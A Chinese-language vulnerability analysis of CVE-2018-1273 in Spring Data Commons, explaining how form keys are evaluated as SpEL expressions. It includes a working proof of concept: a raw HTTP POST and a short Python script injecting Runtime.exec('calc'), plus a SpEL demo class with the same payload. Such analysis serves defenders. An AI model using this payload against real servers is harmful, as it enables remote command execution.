前言

CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞,为了了解更多细节,本文将从漏洞的成因,漏洞的判定以及漏洞的利用三个方面来进行详细说明。

漏洞的成因

当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容,而这一步就是本次漏洞的爆发点。

漏洞的判定

确认目标项目中含有Spring-data-commons包并且版本范围如下

Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
查看相关特性是否已经开启

1.@EnableSpringDataWebSupport 被显示声明

2.@EnableSpringDataWebSupport 没有显示声明,但采用了spring-boot框架的自动扫描特性 当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载 SpringDataWebConfiguration类效果与上述相同

3.在非注解声明项目中,如果有如下声明,也视为开启了相关的特性检查带@RequestMapping的接口,方法的参数为一个自定义的接口(Interface)

满足如上条件的靶子代码如下

  1. @SpringBootApplication
  2. public class App {
  3. public static void main(String[] args) {
  4. SpringApplication.run(App.class);
  5. }
  6. @Controller
  7. public class TestController {
  8. @RequestMapping("test")
  9. public void CVEController(TestForm testForm){
  10. System.out.println(testForm.getName());
  11. }
  12. }
  13. interface TestForm {
  14. String getName();
  15. }
  16. }

漏洞的利用

根据上述判定出来的漏洞点,我们可以构造如下攻击代码

1.构建一个Http的Post请求2.利用form表单提交的方式来提交我们的key value3.在key的名称中包含此次攻击代码4.提交的key为上文的 getName() 方法的 name5.在name后面补上一段Spel支持的代码片段,key将变成如 name[T(java.lang.Runtime).getRuntime().exec(“calc”)]

最终playload如下

POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v
用python写的简单脚本如下

import http.client, urllib.parse
command = “calc.exe”
key = ‘name[T(java.lang.Runtime).getRuntime().exec(“%s”)]’ % command
params = urllib.parse.urlencode({key: ‘v’})
headers = {“Content-type”: “application/x-www-form-urlencoded”}
conn = http.client.HTTPConnection(host=”localhost”,port=8080)
conn.request(“POST”, “/test”, params, headers)
conn.close()
总而言之当满足漏洞条件时,只需要发送一个特定的key就可以了

Spring-data-commons漏洞被执行的流程
本次漏洞的成因,主要在于Spring在自动解析用户的参数的时候采用了 SpelExpressionParser 来解析propertyName

MapDataBinder.java 169行

Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
TypeInformation<?> owningType = leafProperty.getOwningType();
TypeInformation<?> propertyType = owningType.getProperty(leafProperty.getSegment());
propertyType = propertyName.endsWith(“]”) ? propertyType.getActualType() : propertyType;
if (conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils
.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}
expression.setValue(context, value);
那么这个MapMapDataBinder是怎么被调用起来的呢,我们简要地说一下 SpringMVC在解析参数这个部分

SpringDataWebConfiguration 类的特性被启用的时候,会将 ProxyingHandlerMethodArgumentResolver 注册到容器中去

当SpringMVC得到一个请求的时候,会遍历容器中注册的 HandlerMethodArgumentResolver 调用他们的supportsParameter方法。由于我们的参数是一个Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就会告诉调用方,它支持这个参数的解析即 supportsParameter 会返回true,但在实际中还会有多个判断比如该接口不能是java包下的,也不能是org.springframework包下的

ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数MapDataBinder.bind()方法,会连带进行doBind操作,最终会调用到 setPropertyValue 方法来,最后在 expression.setValue(context, value) 的时候触发了漏洞

关于Spring的Spel

SPEL全称Spring Expression Language,简要翻译就是Spring自带的表达式语言,如代码所示Spring提供以下特性

  1. public class SpelExample {
  2. public static void main(String[] args) {
  3. SpelExample spelExample=new SpelExample();
  4. spelExample.supportValue();
  5. spelExample.supportClassMethod();
  6. spelExample.supportProperty();
  7. spelExample.supportArray();
  8. spelExample.supportCustomIndex();
  9. spelExample.supportCustomProperty();
  10. spelExample.runPlayLoad();
  11. }
  12. /*
  13. 支持一个值
  14. */
  15. public void supportValue(){
  16. SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
  17. Expression exp = parser.parseExpression("'this is a value'");
  18. System.out.println(exp.getValue()); // this is a value
  19. }
  20. /*
  21. 支持执行一个java类的方法
  22. */
  23. public void supportClassMethod(){
  24. SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
  25. Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0");
  26. System.out.println(exp.getValue());//返回一个随机数
  27. }
  28. /*
  29. 支持对目标对象进行赋值
  30. */
  31. public void supportProperty(){
  32. SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
  33. Expression exp = parser.parseExpression("name='set my value'");
  34. MockClass mockClass=new MockClass();
  35. exp.getValue(mockClass);
  36. System.out.println(
  37. mockClass.name
  38. ); //set my value
  39. }
  40. /**
  41. 如果属性是一个数组也支持
  42. */
  43. public void supportArray(){
  44. SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
  45. //T(java.lang.Math.abs(0)) 会返回0
  46. Expression exp = parser.parseExpression("list[0]='list value'");
  47. MockClass mockClass=new MockClass();
  48. exp.getValue(mockClass);
  49. System.out.println(mockClass.list[0]);//list value
  50. }
  51. /**
  52. 数组的下标也是可以利用表达式求得
  53. 注释:这里就是恶意代码能执行的关键
  54. */
  55. public void supportCustomIndex(){
  56. SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
  57. Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'");
  58. MockClass mockClass=new MockClass();
  59. exp.getValue(mockClass);
  60. System.out.println(mockClass.list[0]);//index is 0
  61. }
  62. /*
  63. 也可以获取一个数组属性的指定下标的值
  64. 这里就是上述漏洞利用的地方
  65. */
  66. public void supportCustomProperty(){
  67. SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
  68. //获取目标对象list属性中下标为1的值
  69. Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]");
  70. MockClass mockClass=new MockClass();
  71. System.out.println(exp.getValue(mockClass));// 输出 1,
  72. }
  73. /**
  74. 执行我们的代码,拉起计算器
  75. */
  76. public void runPlayLoad(){
  77. SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
  78. //获取目标对象list属性中下标为1的值
  79. Expression exp = parser.parseExpression("list[[T(java.lang.Runtime).getRuntime().exec("calc")]]");
  80. MockClass mockClass=new MockClass();
  81. System.out.println(exp.getValue(mockClass));// 输出 1,
  82. }
  83. class MockClass{
  84. //只有声明为public才能被赋值
  85. public String name;
  86. public String[] list=new String[]{"0","1"};
  87. }
  88. }

以上就是此次CVE-2018-1273的详细细节,希望对你有帮助